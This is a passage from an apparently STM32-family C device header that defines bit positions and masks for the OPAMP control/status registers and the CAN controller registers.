input selection */ #define OPAMP2_CSR_VPSEL_0 (0x1U << OPAMP2_CSR_VPSEL_Pos) /*!< 0x00000004 */ #define OPAMP2_CSR_VPSEL_1 (0x2U << OPAMP2_CSR_VPSEL_Pos) /*!< 0x00000008 */ #define OPAMP2_CSR_VMSEL_Pos (5U) #define OPAMP2_CSR_VMSEL_Msk (0x3U << OPAMP2_CSR_VMSEL_Pos) /*!< 0x00000060 */ #define OPAMP2_CSR_VMSEL OPAMP2_CSR_VMSEL_Msk /*!< Inverting input selection */ #define OPAMP2_CSR_VMSEL_0 (0x1U << OPAMP2_CSR_VMSEL_Pos) /*!< 0x00000020 */ #define OPAMP2_CSR_VMSEL_1 (0x2U << OPAMP2_CSR_VMSEL_Pos) /*!< 0x00000040 */ #define OPAMP2_CSR_TCMEN_Pos (7U) #define OPAMP2_CSR_TCMEN_Msk (0x1U << OPAMP2_CSR_TCMEN_Pos) /*!< 0x00000080 */ #define OPAMP2_CSR_TCMEN OPAMP2_CSR_TCMEN_Msk /*!< Timer-Controlled Mux mode enable */ #define OPAMP2_CSR_VMSSEL_Pos (8U) #define OPAMP2_CSR_VMSSEL_Msk (0x1U << OPAMP2_CSR_VMSSEL_Pos) /*!< 0x00000100 */ #define OPAMP2_CSR_VMSSEL OPAMP2_CSR_VMSSEL_Msk /*!< Inverting input secondary selection */ #define OPAMP2_CSR_VPSSEL_Pos (9U) #define OPAMP2_CSR_VPSSEL_Msk (0x3U << OPAMP2_CSR_VPSSEL_Pos) /*!< 0x00000600 */ #define OPAMP2_CSR_VPSSEL OPAMP2_CSR_VPSSEL_Msk /*!< Non inverting input secondary selection */ #define OPAMP2_CSR_VPSSEL_0 (0x1U << OPAMP2_CSR_VPSSEL_Pos) /*!< 0x00000200 */ #define OPAMP2_CSR_VPSSEL_1 (0x2U << OPAMP2_CSR_VPSSEL_Pos) /*!< 0x00000400 */ #define OPAMP2_CSR_CALON_Pos (11U) #define OPAMP2_CSR_CALON_Msk (0x1U << OPAMP2_CSR_CALON_Pos) /*!< 0x00000800 */ #define OPAMP2_CSR_CALON OPAMP2_CSR_CALON_Msk /*!< Calibration mode enable */ #define OPAMP2_CSR_CALSEL_Pos (12U) #define OPAMP2_CSR_CALSEL_Msk (0x3U << OPAMP2_CSR_CALSEL_Pos) /*!< 0x00003000 */ #define OPAMP2_CSR_CALSEL OPAMP2_CSR_CALSEL_Msk /*!< Calibration selection */ #define OPAMP2_CSR_CALSEL_0 (0x1U << OPAMP2_CSR_CALSEL_Pos) /*!< 0x00001000 */ #define OPAMP2_CSR_CALSEL_1 (0x2U << OPAMP2_CSR_CALSEL_Pos) /*!< 0x00002000 */ #define OPAMP2_CSR_PGGAIN_Pos (14U) #define OPAMP2_CSR_PGGAIN_Msk (0xFU << OPAMP2_CSR_PGGAIN_Pos) /*!< 0x0003C000 */ #define OPAMP2_CSR_PGGAIN OPAMP2_CSR_PGGAIN_Msk /*!< Gain in PGA mode */ #define OPAMP2_CSR_PGGAIN_0 (0x1U << OPAMP2_CSR_PGGAIN_Pos) /*!< 0x00004000 */ #define OPAMP2_CSR_PGGAIN_1 (0x2U << OPAMP2_CSR_PGGAIN_Pos) /*!< 0x00008000 */ #define OPAMP2_CSR_PGGAIN_2 (0x4U << OPAMP2_CSR_PGGAIN_Pos) /*!< 0x00010000 */ #define OPAMP2_CSR_PGGAIN_3 (0x8U << OPAMP2_CSR_PGGAIN_Pos) /*!< 0x00020000 */ #define OPAMP2_CSR_USERTRIM_Pos (18U) #define OPAMP2_CSR_USERTRIM_Msk (0x1U << OPAMP2_CSR_USERTRIM_Pos) /*!< 0x00040000 */ #define OPAMP2_CSR_USERTRIM OPAMP2_CSR_USERTRIM_Msk /*!< User trimming enable */ #define OPAMP2_CSR_TRIMOFFSETP_Pos (19U) #define OPAMP2_CSR_TRIMOFFSETP_Msk (0x1FU << OPAMP2_CSR_TRIMOFFSETP_Pos) /*!< 0x00F80000 */ #define OPAMP2_CSR_TRIMOFFSETP OPAMP2_CSR_TRIMOFFSETP_Msk /*!< Offset trimming value (PMOS) */ #define OPAMP2_CSR_TRIMOFFSETN_Pos (24U) #define OPAMP2_CSR_TRIMOFFSETN_Msk (0x1FU << OPAMP2_CSR_TRIMOFFSETN_Pos) /*!< 0x1F000000 */ #define OPAMP2_CSR_TRIMOFFSETN OPAMP2_CSR_TRIMOFFSETN_Msk /*!< Offset trimming value (NMOS) */ #define OPAMP2_CSR_TSTREF_Pos (29U) #define OPAMP2_CSR_TSTREF_Msk (0x1U << OPAMP2_CSR_TSTREF_Pos) /*!< 0x20000000 */ #define OPAMP2_CSR_TSTREF OPAMP2_CSR_TSTREF_Msk /*!< It enables the switch to put out the internal reference */ #define OPAMP2_CSR_OUTCAL_Pos (30U) #define OPAMP2_CSR_OUTCAL_Msk (0x1U << OPAMP2_CSR_OUTCAL_Pos) /*!< 0x40000000 */ #define OPAMP2_CSR_OUTCAL OPAMP2_CSR_OUTCAL_Msk /*!< OPAMP ouput status flag */ #define OPAMP2_CSR_LOCK_Pos (31U) #define OPAMP2_CSR_LOCK_Msk (0x1U << OPAMP2_CSR_LOCK_Pos) /*!< 0x80000000 */ #define OPAMP2_CSR_LOCK OPAMP2_CSR_LOCK_Msk /*!< OPAMP lock */ /********************* Bit definition for OPAMPx_CSR register ***************/ #define OPAMP_CSR_OPAMPxEN_Pos (0U) #define OPAMP_CSR_OPAMPxEN_Msk (0x1U << OPAMP_CSR_OPAMPxEN_Pos) /*!< 0x00000001 */ #define OPAMP_CSR_OPAMPxEN OPAMP_CSR_OPAMPxEN_Msk /*!< OPAMP enable */ #define OPAMP_CSR_FORCEVP_Pos (1U) #define OPAMP_CSR_FORCEVP_Msk (0x1U << OPAMP_CSR_FORCEVP_Pos) /*!< 0x00000002 */ #define OPAMP_CSR_FORCEVP OPAMP_CSR_FORCEVP_Msk /*!< Connect the internal references to the plus input of the OPAMPX */ #define OPAMP_CSR_VPSEL_Pos (2U) #define OPAMP_CSR_VPSEL_Msk (0x3U << OPAMP_CSR_VPSEL_Pos) /*!< 0x0000000C */ #define OPAMP_CSR_VPSEL OPAMP_CSR_VPSEL_Msk /*!< Non inverting input selection */ #define OPAMP_CSR_VPSEL_0 (0x1U << OPAMP_CSR_VPSEL_Pos) /*!< 0x00000004 */ #define OPAMP_CSR_VPSEL_1 (0x2U << OPAMP_CSR_VPSEL_Pos) /*!< 0x00000008 */ #define OPAMP_CSR_VMSEL_Pos (5U) #define OPAMP_CSR_VMSEL_Msk (0x3U << OPAMP_CSR_VMSEL_Pos) /*!< 0x00000060 */ #define OPAMP_CSR_VMSEL OPAMP_CSR_VMSEL_Msk /*!< Inverting input selection */ #define OPAMP_CSR_VMSEL_0 (0x1U << OPAMP_CSR_VMSEL_Pos) /*!< 0x00000020 */ #define OPAMP_CSR_VMSEL_1 (0x2U << OPAMP_CSR_VMSEL_Pos) /*!< 0x00000040 */ #define OPAMP_CSR_TCMEN_Pos (7U) #define OPAMP_CSR_TCMEN_Msk (0x1U << OPAMP_CSR_TCMEN_Pos) /*!< 0x00000080 */ #define OPAMP_CSR_TCMEN OPAMP_CSR_TCMEN_Msk /*!< Timer-Controlled Mux mode enable */ #define OPAMP_CSR_VMSSEL_Pos (8U) #define OPAMP_CSR_VMSSEL_Msk (0x1U << OPAMP_CSR_VMSSEL_Pos) /*!< 0x00000100 */ #define OPAMP_CSR_VMSSEL OPAMP_CSR_VMSSEL_Msk /*!< Inverting input secondary selection */ #define OPAMP_CSR_VPSSEL_Pos (9U) #define OPAMP_CSR_VPSSEL_Msk (0x3U << OPAMP_CSR_VPSSEL_Pos) /*!< 0x00000600 */ #define OPAMP_CSR_VPSSEL OPAMP_CSR_VPSSEL_Msk /*!< Non inverting input secondary selection */ #define OPAMP_CSR_VPSSEL_0 (0x1U << OPAMP_CSR_VPSSEL_Pos) /*!< 0x00000200 */ #define OPAMP_CSR_VPSSEL_1 (0x2U << OPAMP_CSR_VPSSEL_Pos) /*!< 0x00000400 */ #define OPAMP_CSR_CALON_Pos (11U) #define OPAMP_CSR_CALON_Msk (0x1U << OPAMP_CSR_CALON_Pos) /*!< 0x00000800 */ #define OPAMP_CSR_CALON OPAMP_CSR_CALON_Msk /*!< Calibration mode enable */ #define OPAMP_CSR_CALSEL_Pos (12U) #define OPAMP_CSR_CALSEL_Msk (0x3U << OPAMP_CSR_CALSEL_Pos) /*!< 0x00003000 */ #define OPAMP_CSR_CALSEL OPAMP_CSR_CALSEL_Msk /*!< Calibration selection */ #define OPAMP_CSR_CALSEL_0 (0x1U << OPAMP_CSR_CALSEL_Pos) /*!< 0x00001000 */ #define OPAMP_CSR_CALSEL_1 (0x2U << OPAMP_CSR_CALSEL_Pos) /*!< 0x00002000 */ #define OPAMP_CSR_PGGAIN_Pos (14U) #define OPAMP_CSR_PGGAIN_Msk (0xFU << OPAMP_CSR_PGGAIN_Pos) /*!< 0x0003C000 */ #define OPAMP_CSR_PGGAIN OPAMP_CSR_PGGAIN_Msk /*!< Gain in PGA mode */ #define OPAMP_CSR_PGGAIN_0 (0x1U << OPAMP_CSR_PGGAIN_Pos) /*!< 0x00004000 */ #define OPAMP_CSR_PGGAIN_1 (0x2U << OPAMP_CSR_PGGAIN_Pos) /*!< 0x00008000 */ #define OPAMP_CSR_PGGAIN_2 (0x4U << OPAMP_CSR_PGGAIN_Pos) /*!< 0x00010000 */ #define OPAMP_CSR_PGGAIN_3 (0x8U << OPAMP_CSR_PGGAIN_Pos) /*!< 0x00020000 */ #define OPAMP_CSR_USERTRIM_Pos (18U) #define OPAMP_CSR_USERTRIM_Msk (0x1U << OPAMP_CSR_USERTRIM_Pos) /*!< 0x00040000 */ #define OPAMP_CSR_USERTRIM OPAMP_CSR_USERTRIM_Msk /*!< User trimming enable */ #define OPAMP_CSR_TRIMOFFSETP_Pos (19U) #define OPAMP_CSR_TRIMOFFSETP_Msk (0x1FU << OPAMP_CSR_TRIMOFFSETP_Pos) /*!< 0x00F80000 */ #define OPAMP_CSR_TRIMOFFSETP OPAMP_CSR_TRIMOFFSETP_Msk /*!< Offset trimming value (PMOS) */ #define OPAMP_CSR_TRIMOFFSETN_Pos (24U) #define OPAMP_CSR_TRIMOFFSETN_Msk (0x1FU << OPAMP_CSR_TRIMOFFSETN_Pos) /*!< 0x1F000000 */ #define OPAMP_CSR_TRIMOFFSETN OPAMP_CSR_TRIMOFFSETN_Msk /*!< Offset trimming value (NMOS) */ #define OPAMP_CSR_TSTREF_Pos (29U) #define OPAMP_CSR_TSTREF_Msk (0x1U << OPAMP_CSR_TSTREF_Pos) /*!< 0x20000000 */ #define OPAMP_CSR_TSTREF OPAMP_CSR_TSTREF_Msk /*!< It enables the switch to put out the internal reference */ #define OPAMP_CSR_OUTCAL_Pos (30U) #define OPAMP_CSR_OUTCAL_Msk (0x1U << OPAMP_CSR_OUTCAL_Pos) /*!< 0x40000000 */ #define OPAMP_CSR_OUTCAL OPAMP_CSR_OUTCAL_Msk /*!< OPAMP ouput status flag */ #define OPAMP_CSR_LOCK_Pos (31U) #define OPAMP_CSR_LOCK_Msk (0x1U << OPAMP_CSR_LOCK_Pos) /*!< 0x80000000 */ #define OPAMP_CSR_LOCK OPAMP_CSR_LOCK_Msk /*!< OPAMP lock */ /******************************************************************************/ /* */ /* Controller Area Network (CAN ) */ /* */ /******************************************************************************/ /******************* Bit definition for CAN_MCR register ********************/ #define CAN_MCR_INRQ_Pos (0U) #define CAN_MCR_INRQ_Msk (0x1U << CAN_MCR_INRQ_Pos) /*!< 0x00000001 */ #define CAN_MCR_INRQ CAN_MCR_INRQ_Msk /*!<Initialization Request */ #define CAN_MCR_SLEEP_Pos (1U) #define CAN_MCR_SLEEP_Msk (0x1U << CAN_MCR_SLEEP_Pos) /*!< 0x00000002 */ #define CAN_MCR_SLEEP CAN_MCR_SLEEP_Msk /*!<Sleep Mode Request */ #define CAN_MCR_TXFP_Pos (2U) #define CAN_MCR_TXFP_Msk (0x1U << CAN_MCR_TXFP_Pos) /*!< 0x00000004 */ #define CAN_MCR_TXFP CAN_MCR_TXFP_Msk /*!<Transmit FIFO Priority */ #define CAN_MCR_RFLM_Pos (3U) #define CAN_MCR_RFLM_Msk (0x1U << CAN_MCR_RFLM_Pos) /*!< 0x00000008 */ #define CAN_MCR_RFLM CAN_MCR_RFLM_Msk /*!<Receive FIFO Locked Mode */ #define CAN_MCR_NART_Pos (4U) #define CAN_MCR_NART_Msk (0x1U << CAN_MCR_NART_Pos) /*!< 0x00000010 */ #define CAN_MCR_NART CAN_MCR_NART_Msk /*!<No Automatic Retransmission */ #define CAN_MCR_AWUM_Pos (5U) #define CAN_MCR_AWUM_Msk (0x1U << CAN_MCR_AWUM_Pos) /*!< 0x00000020 */ #define CAN_MCR_AWUM CAN_MCR_AWUM_Msk /*!<Automatic Wakeup Mode */ #define CAN_MCR_ABOM_Pos (6U) #define CAN_MCR_ABOM_Msk (0x1U << CAN_MCR_ABOM_Pos) /*!< 0x00000040 */ #define CAN_MCR_ABOM CAN_MCR_ABOM_Msk /*!<Automatic Bus-Off Management */ #define CAN_MCR_TTCM_Pos (7U) #define CAN_MCR_TTCM_Msk (0x1U << CAN_MCR_TTCM_Pos) /*!< 0x00000080 */ #define CAN_MCR_TTCM CAN_MCR_TTCM_Msk /*!<Time Triggered Communication Mode */ #define CAN_MCR_RESET_Pos (15U) #define CAN_MCR_RESET_Msk (0x1U << CAN_MCR_RESET_Pos) /*!< 0x00008000 */ #define CAN_MCR_RESET CAN_MCR_RESET_Msk /*!<bxCAN software master reset */ /******************* Bit definition for CAN_MSR register ********************/ #define CAN_MSR_INAK_Pos (0U) #define CAN_MSR_INAK_Msk (0x1U << CAN_MSR_INAK_Pos) /*!< 0x00000001 */ #define CAN_MSR_INAK CAN_MSR_INAK_Msk /*!<Initialization Acknowledge */ #define CAN_MSR_SLAK_Pos (1U) #define CAN_MSR_SLAK_Msk (0x1U << CAN_MSR_SLAK_Pos) /*!< 0x00000002 */ #define CAN_MSR_SLAK CAN_MSR_SLAK_Msk /*!<Sleep Acknowledge */ #define CAN_MSR_ERRI_Pos (2U) #define CAN_MSR_ERRI_Msk (0x1U << CAN_MSR_ERRI_Pos) /*!< 0x00000004 */ #define CAN_MSR_ERRI CAN_MSR_ERRI_Msk /*!<Error Interrupt */ #define CAN_MSR_WKUI_Pos (3U) #define CAN_MSR_WKUI_Msk (0x1U << CAN_MSR_WKUI_Pos) /*!< 0x00000008 */ #define CAN_MSR_WKUI CAN_MSR_WKUI_Msk /*!<Wakeup Interrupt */ #define CAN_MSR_SLAKI_Pos (4U) #define CAN_MSR_SLAKI_Msk (0x1U << CAN_MSR_SLAKI_Pos) /*!< 0x00000010 */ #define CAN_MSR_SLAKI CAN_MSR_SLAKI_Msk /*!<Sleep Acknowledge Interrupt */ #define CAN_MSR_TXM_Pos (8U) #define CAN_MSR_TXM_Msk (0x1U << CAN_MSR_TXM_Pos) /*!< 0x00000100 */ #define CAN_MSR_TXM CAN_MSR_TXM_Msk /*!<Transmit Mode */ #define CAN_MSR_RXM_Pos (9U) #define CAN_MSR_RXM_Msk (0x1U << CAN_MSR_RXM_Pos) /*!< 0x00000200 */ #define CAN_MSR_RXM CAN_MSR_RXM_Msk /*!<Receive Mode */ #define CAN_MSR_SAMP_Pos (10U) #define CAN_MSR_SAMP_Msk (0x1U << CAN_MSR_SAMP_Pos) /*!< 0x00000400 */ #define CAN_MSR_SAMP CAN_MSR_SAMP_Msk /*!<Last Sample Point */ #define CAN_MSR_RX_Pos (11U) #define CAN_MSR_RX_Msk (0x1U << CAN_MSR_RX_Pos) /*!< 0x00000800 */ #define CAN_MSR_RX CAN_MSR_RX_Msk /*!<CAN Rx Signal */ /******************* Bit definition for CAN_TSR register ********************/ #define CAN_TSR_RQCP0_Pos (0U) #define CAN_TSR_RQCP0_Msk (0x1U << CAN_TSR_RQCP0_Pos) /*!< 0x00000001 */ #define CAN_TSR_RQCP0 CAN_TSR_RQCP0_Msk /*!<Request Completed Mailbox0 */ #define CAN_TSR_TXOK0_Pos (1U) #define CAN_TSR_TXOK0_Msk (0x1U << CAN_TSR_TXOK0_Pos) /*!< 0x00000002 */ #define CAN_TSR_TXOK0 CAN_TSR_TXOK0_Msk /*!<Transmission OK of Mailbox0 */ #define CAN_TSR_ALST0_Pos (2U) #define CAN_TSR_ALST0_Msk (0x1U << CAN_TSR_ALST0_Pos) /*!< 0x00000004 */ #define CAN_TSR_ALST0 CAN_TSR_ALST0_Msk /*!<Arbitration Lost for Mailbox0 */ #define CAN_TSR_TERR0_Pos (3U) #define CAN_TSR_TERR0_Msk (0x1U << CAN_TSR_TERR0_Pos) /*!< 0x00000008 */ #define CAN_TSR_TERR0 CAN_TSR_TERR0_Msk /*!<Transmission Error of Mailbox0 */ #define CAN_TSR_ABRQ0_Pos (7U) #define CAN_TSR_ABRQ0_Msk (0x1U << CAN_TSR_ABRQ0_Pos) /*!< 0x00000080 */ #define CAN_TSR_ABRQ0 CAN_TSR_ABRQ0_Msk /*!<Abort Request for Mailbox0 */ #define CAN_TSR_RQCP1_Pos (8U) #define CAN_TSR_RQCP1_Msk (0x1U << CAN_TSR_RQCP1_Pos) /*!< 0x00000100 */ #define CAN_TSR_RQCP1 CAN_TSR_RQCP1_Msk /*!<Request Completed Mailbox1 */ #define CAN_TSR_TXOK1_Pos (9U) #define CAN_TSR_TXOK1_Msk (0x1U << CAN_TSR_TXOK1_Pos) /*!< 0x00000200 */ #define CAN_TSR_TXOK1 CAN_TSR_TXOK1_Msk /*!<Transmission OK of Mailbox1 */ #define CAN_TSR_ALST1_Pos (10U) #define CAN_TSR_ALST1_Msk (0x1U << CAN_TSR_ALST1_Pos) /*!< 0x00000400 */ #define CAN_TSR_ALST1 CAN_TSR_ALST1_Msk /*!<Arbitration Lost for Mailbox1 */ #define CAN_TSR_TERR1_Pos (11U) #define CAN_TSR_TERR1_Msk (0x1U << CAN_TSR_TERR1_Pos) /*!< 0x00000800 */ #define CAN_TSR_TERR1 CAN_TSR_TERR1_Msk /*!<Transmission Error of Mailbox1 */ #define CAN_TSR_ABRQ1_Pos (15U) #define CAN_TSR_ABRQ1_Msk (0x1U << CAN_TSR_ABRQ1_Pos) /*!< 0x00008000 */ #define CAN_TSR_ABRQ1 CAN_TSR_ABRQ1_Msk /*!<Abort Request for Mailbox 1 */ #define CAN_TSR_RQCP2_Pos (16U) #define CAN_TSR_RQCP2_Msk (0x1U << CAN_TSR_RQCP2_Pos) /*!< 0x00010000 */ #define CAN_TSR_RQCP2 CAN_TSR_RQCP2_Msk /*!<Request Completed Mailbox2 */ #define CAN_TSR_TXOK2_Pos (17U) #define CAN_TSR_TXOK2_Msk (0x1U << CAN_TSR_TXOK2_Pos) /*!< 0x00020000 */ #define CAN_TSR_TXOK2 CAN_TSR_TXOK2_Msk /*!<Transmission OK of Mailbox 2 */ #define CAN_TSR_ALST2_Pos (18U) #define CAN_TSR_ALST2_Msk (0x1U << CAN_TSR_ALST2_Pos) /*!< 0x00040000 */ #define CAN_TSR_ALST2 CAN_TSR_ALST2_Msk /*!<Arbitration Lost for mailbox 2 */ #define CAN_TSR_TERR2_Pos (19U) #define CAN_TSR_TERR2_Msk (0x1U << CAN_TSR_TERR2_Pos) /*!< 0x00080000 */ #define CAN_TSR_TERR2 CAN_TSR_TERR2_Msk /*!<Transmission Error of Mailbox 2 */ #define CAN_TSR_ABRQ2_Pos (23U) #define CAN_TSR_ABRQ2_Msk (0x1U << CAN_TSR_ABRQ2_Pos) /*!< 0x00800000 */ #define CAN_TSR_ABRQ2 CAN_TSR_ABRQ2_Msk /*!<Abort Request for Mailbox 2 */ #define CAN_TSR_CODE_Pos (24U) #define CAN_TSR_CODE_Msk (0x3U << CAN_TSR_CODE_Pos) /*!< 0x03000000 */ #define CAN_TSR_CODE CAN_TSR_CODE_Msk /*!<Mailbox Code */ #define CAN_TSR_TME_Pos (26U) #define CAN_TSR_TME_Msk (0x7U << CAN_TSR_TME_Pos) /*!< 0x1C000000 */ #define CAN_TSR_TME CAN_TSR_TME_Msk /*!<TME[2:0] bits */ #define CAN_TSR_TME0_Pos (26U) #define CAN_TSR_TME0_Msk (0x1U << CAN_TSR_TME0_Pos) /*!< 0x04000000 */ #define CAN_TSR_TME0 CAN_TSR_TME0_Msk /*!<Transmit Mailbox 0 Empty */ #define CAN_TSR_TME1_Pos (27U) #define CAN_TSR_TME1_Msk (0x1U << CAN_TSR_TME1_Pos) /*!< 0x08000000 */ #define CAN_TSR_TME1 CAN_TSR_TME1_Msk /*!<Transmit Mailbox 1 Empty */ #define CAN_TSR_TME2_Pos (28U) #define CAN_TSR_TME2_Msk (0x1U << CAN_TSR_TME2_Pos) /*!< 0x10000000 */ #define CAN_TSR_TME2 CAN_TSR_TME2_Msk /*!<Transmit Mailbox 2 Empty */ #define CAN_TSR_LOW_Pos (29U) #define CAN_TSR_LOW_Msk (0x7U << CAN_TSR_LOW_Pos) /*!< 0xE0000000 */ #define CAN_TSR_LOW CAN_TSR_LOW_Msk /*!<LOW[2:0] bits */ #define CAN_TSR_LOW0_Pos (29U) #define CAN_TSR_LOW0_Msk (0x1U << CAN_TSR_LOW0_Pos) /*!< 0x20000000 */ #define CAN_TSR_LOW0 CAN_TSR_LOW0_Msk /*!<Lowest Priority Flag for Mailbox 0 */ #define CAN_TSR_LOW1_Pos (30U) #define CAN_TSR_LOW1_Msk (0x1U << CAN_TSR_LOW1_Pos) /*!< 0x40000000 */ #define CAN_TSR_LOW1 CAN_TSR_LOW1_Msk /*!<Lowest Priority Flag for Mailbox 1 */ #define CAN_TSR_LOW2_Pos (31U) #define CAN_TSR_LOW2_Msk (0x1U << CAN_TSR_LOW2_Pos) /*!< 0x80000000 */ #define CAN_TSR_LOW2 CAN_TSR_LOW2_Msk /*!<Lowest Priority Flag for Mailbox 2 */ /******************* Bit definition for CAN_RF0R register *******************/ #define CAN_RF0R_FMP0_Pos (0U) #define CAN_RF0R_FMP0_Msk (0x3U << CAN_RF0R_FMP0_Pos) /*!< 0x00000003 */ #define CAN_RF0R_FMP0 CAN_RF0R_FMP0_Msk /*!<FIFO 0 Message Pending */ #define CAN_RF0R_FULL0_Pos (3U) #define CAN_RF0R_FULL0_Msk (0x1U << CAN_RF0R_FULL0_Pos) /*!< 0x00000008 */ #define CAN_RF0R_FULL0 CAN_RF0R_FULL0_Msk /*!<FIFO 0 Full */ #define CAN_RF0R_FOVR0_Pos (4U) #define CAN_RF0R_FOVR0_Msk (0x1U << CAN_RF0R_FOVR0_Pos) /*!< 0x00000010 */ #define CAN_RF0R_FOVR0 CAN_RF0R_FOVR0_Msk /*!<FIFO 0 Overrun */ #define CAN_RF0R_RFOM0_Pos (5U) #define CAN_RF0R_RFOM0_Msk (0x1U << CAN_RF0R_RFOM0_Pos) /*!< 0x00000020 */ #define CAN_RF0R_RFOM0 CAN_RF0R_RFOM0_Msk /*!<Release FIFO 0 Output Mailbox */ /******************* Bit definition for CAN_RF1R register *******************/ #define CAN_RF1R_FMP1_Pos (0U) #define CAN_RF1R_FMP1_Msk (0x3U << CAN_RF1R_FMP1_Pos) /*!< 0x00000003 */ #define CAN_RF1R_FMP1 CAN_RF1R_FMP1_Msk /*!<FIFO 1 Message Pending */ #define CAN_RF1R_FULL1_Pos (3U) #define CAN_RF1R_FULL1_Msk (0x1U << CAN_RF1R_FULL1_Pos) /*!< 0x00000008 */ #define CAN_RF1R_FULL1 CAN_RF1R_FULL1_Msk /*!<FIFO 1 Full */ #define CAN_RF1R_FOVR1_Pos (4U) #define CAN_RF1R_FOVR1_Msk (0x1U << CAN_RF1R_FOVR1_Pos) /*!< 0x00000010 */ #define CAN_RF1R_FOVR1 CAN_RF1R_FOVR1_Msk /*!<FIFO 1 Overrun */ #define CAN_RF1R_RFOM1_Pos (5U) #define CAN_RF1R_RFOM1_Msk (0x1U << CAN_RF1R_RFOM1_Pos) /*!< 0x00000020 */ #define CAN_RF1R_RFOM1 CAN_RF1R_RFOM1_Msk /*!<Release FIFO 1 Output Mailbox */ /******************** Bit definition for CAN_IER register *******************/ #define CAN_IER_TMEIE_Pos (0U) #define CAN_IER_TMEIE_Msk (0x1U << CAN_IER_TMEIE_Pos) /*!< 0x00000001 */ #define CAN_IER_TMEIE CAN_IER_TMEIE_Msk /*!<Transmit Mailbox Empty Interrupt Enable */ #define CAN_IER_FMPIE0_Pos (1U) #define CAN_IER_FMPIE0_Msk (0x1U << CAN_IER_FMPIE0_Pos) /*!< 0x00000002 */ #define CAN_IER_FMPIE0 CAN_IER_FMPIE0_Msk /*!<FIFO Message Pending Interrupt Enable */ #define CAN_IER_FFIE0_Pos (2U) #define CAN_IER_FFIE0_Msk (0x1U << CAN_IER_FFIE0_Pos) /*!< 0x00000004 */ #define CAN_IER_FFIE0 CAN_IER_FFIE0_Msk /*!<FIFO Full Interrupt Enable */ #define CAN_IER_FOVIE0_Pos (3U) #define CAN_IER_FOVIE0_Msk (0x1U << CAN_IER_FOVIE0_Pos) /*!< 0x00000008 */ #define CAN_IER_FOVIE0 CAN_IER_FOVIE0_Msk /*!<FIFO Overrun Interrupt Enable */ #define CAN_IER_FMPIE1_Pos (4U) #define CAN_IER_FMPIE1_Msk (0x1U << CAN_IER_FMPIE1_Pos) /*!< 0x00000010 */ #define CAN_IER_FMPIE1 CAN_IER_FMPIE1_Msk /*!<FIFO Message Pending Interrupt Enable */ #define CAN_IER_FFIE1_Pos (5U) #define CAN_IER_FFIE1_Msk (0x1U << CAN_IER_FFIE1_Pos) /*!< 0x00000020 */ #define CAN_IER_FFIE1 CAN_IER_FFIE1_Msk /*!<FIFO Full Interrupt Enable */ #define CAN_IER_FOVIE1_Pos (6U) #define CAN_IER_FOVIE1_Msk (0x1U << CAN_IER_FOVIE1_Pos) /*!< 0x00000040 */ #define CAN_IER_FOVIE1 CAN_IER_FOVIE1_Msk /*!<FIFO Overrun Interrupt Enable */ #define CAN_IER_EWGIE_Pos (8U) #define CAN_IER_EWGIE_Msk (0x1U << CAN_IER_EWGIE_Pos) /*!< 0x00000100 */ #define CAN_IER_EWGIE CAN_IER_EWGIE_Msk /*!<Error Warning Interrupt Enable */ #define CAN_IER_EPVIE_Pos (9U) #define CAN_IER_EPVIE_Msk (0x1U << CAN_IER_EPVIE_Pos) /*!< 0x00000200 */ #define CAN_IER_EPVIE CAN_IER_EPVIE_Msk /*!<Error Passive Interrupt Enable */ #define CAN_IER_BOFIE_Pos (10U) #define CAN_IER_BOFIE_Msk (0x1U << CAN_IER_BOFIE_Pos) /*!< 0x00000400 */ #define CAN_IER_BOFIE CAN_IER_BOFIE_Msk /*!<Bus-Off Interrupt Enable */ #define CAN_IER_LECIE_Pos (11U) #define CAN_IER_LECIE_Msk (0x1U << CAN_IER_LECIE_Pos) /*!< 0x00000800 */ #define CAN_IER_LECIE CAN_IER_LECIE_Msk /*!<Last Error Code Interrupt Enable */ #define CAN_IER_ERRIE_Pos (15U) #define CAN_IER_ERRIE_Msk (0x1U << CAN_IER_ERRIE_Pos) /*!< 0x00008000 */ #define CAN_IER_ERRIE CAN_IER_ERRIE_Msk /*!<Error Interrupt Enable */ #define CAN_IER_WKUIE_Pos (16U) #define CAN_IER_WKUIE_Msk (0x1U << CAN_IER_WKUIE_Pos) /*!< 0x00010000 */ #define CAN_IER_WKUIE CAN_IER_WKUIE_Msk /*!<Wakeup Interrupt Enable */ #define CAN_IER_SLKIE_Pos (17U) #define CAN_IER_SLKIE_Msk (0x1U << CAN_IER_SLKIE_Pos) /*!< 0x00020000 */ #define CAN_IER_SLKIE CAN_IER_SLKIE_Msk /*!<Sleep Interrupt Enable */ /******************** Bit definition for CAN_ESR register *******************/ #define CAN_ESR_EWGF_Pos (0U) #define CAN_ESR_EWGF_Msk (0x1U << CAN_ESR_EWGF_Pos) /*!< 0x00000001 */ #define CAN_ESR_EWGF CAN_ESR_EWGF_Msk /*!<Error Warning Flag */ #define CAN_ESR_EPVF_Pos (1U) #define CAN_ESR_EPVF_Msk (0x1U << CAN_ESR_EPVF_Pos) /*!< 0x00000002 */ #define CAN_ESR_EPVF CAN_ESR_EPVF_Msk /*!<Error Passive Flag */ #define CAN_ESR_BOFF_Pos (2U) #define CAN_ESR_BOFF_Msk (0x1U << CAN_ESR_BOFF_Pos) /*!< 0x00000004 */ #define CAN_ESR_BOFF CAN_ESR_BOFF_Msk /*!<Bus-Off Flag */ #define CAN_ESR_LEC_Pos (4U) #define CAN_ESR_LEC_Msk (0x7U << CAN_ESR_LEC_Pos) /*!< 0x00000070 */ #define CAN_ESR_LEC CAN_ESR_LEC_Msk /*!<LEC[2:0] bits (Last Error Code) */ #define CAN_ESR_LEC_0 (0x1U << CAN_ESR_LEC_Pos) /*!< 0x00000010 */ #define CAN_ESR_LEC_1 (0x2U << CAN_ESR_LEC_Pos) /*!< 0x00000020 */ #define CAN_ESR_LEC_2 (0x4U << CAN_ESR_LEC_Pos) /*!< 0x00000040 */ #define CAN_ESR_TEC_Pos (16U) #define CAN_ESR_TEC_Msk (0xFFU << CAN_ESR_TEC_Pos) /*!< 0x00FF0000 */ #define CAN_ESR_TEC CAN_ESR_TEC_Msk /*!<Least significant byte of the 9-bit Transmit Error Counter */ #define CAN_ESR_REC_Pos (24U) #define CAN_ESR_REC_Msk (0xFFU << CAN_ESR_REC_Pos) /*!< 0xFF000000 */ #define CAN_ESR_REC CAN_ESR_REC_Msk /*!<Receive Error Counter */ /******************* Bit definition for CAN_BTR register ********************/ #define CAN_BTR_BRP_Pos (0U) #define CAN_BTR_BRP_Msk (0x3FFU << CAN_BTR_BRP_Pos) /*!< 0x000003FF */ #define CAN_BTR_BRP CAN_BTR_BRP_Msk /*!<Baud 